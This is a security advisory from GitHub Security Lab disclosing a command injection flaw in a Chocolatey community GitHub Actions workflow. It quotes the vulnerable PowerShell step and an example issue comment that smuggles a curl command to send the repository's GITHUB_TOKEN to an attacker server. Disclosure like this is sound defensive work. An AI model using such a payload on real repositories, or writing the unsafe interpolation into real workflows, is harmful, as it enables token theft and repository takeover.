skip to content
Back to
Home Research Advisories CodeQL Wall of Fame Get Involved Events
February 3, 2021

GHSL-2020-189: Command injection in chocolatey-community/chocolatey-package-requests workflow

Jaroslav Lobačevski

Coordinated Disclosure Timeline


The ‘handle-comments.yml’ GitHub workflow is vulnerable to arbitrary command injection.


chocolatey-community/chocolatey-package-requests GitHub repository

Tested Version

handle-comments.yml from the master branch.


Issue: The public GitHub issue comment is used to format a shell command

When a user comments on a public issue with /recheck it automatically starts the handle-comments.yml GitHub workflow. The comment text is used to format a powershell script.

    if: ${{ (needs.comments.outputs.success == 'True' || startsWith(github.event.comment.body, '/recheck')) && github.event.issue.state == 'open' }}
      - name: Validate Issue
        run: |
          Import-Module "${{ github.workspace }}\scripts\validation.psm1"
          if ("${{ github.event.comment.body }}" -match "^/recheck") {
            Test-NewIssue -commentId ${{ }} -repository "${{ github.event.repository.full_name }}"
          } else {
            Test-NewIssue -issueNumber ${{ github.event.issue.number }} -repository "${{ github.event.repository.full_name }}"


This vulnerability allows for arbitrary command injection into the powershell script. For example a user may comment on an issue /recheck" -match "^/recheck" -and (curl$Env:GITHUB_TOKEN) -and "/recheck which will exfiltrate the secret GitHub access token to the attacker controlled server, that may lead to the repository being compromised. To make the attack less visible the attacker may modify the comment later.


This issue was discovered and reported by GHSL team member @JarLob (Jaroslav Lobačevski).


You can contact the GHSL team at, please include a reference to GHSL-2020-189 in any communication regarding this issue.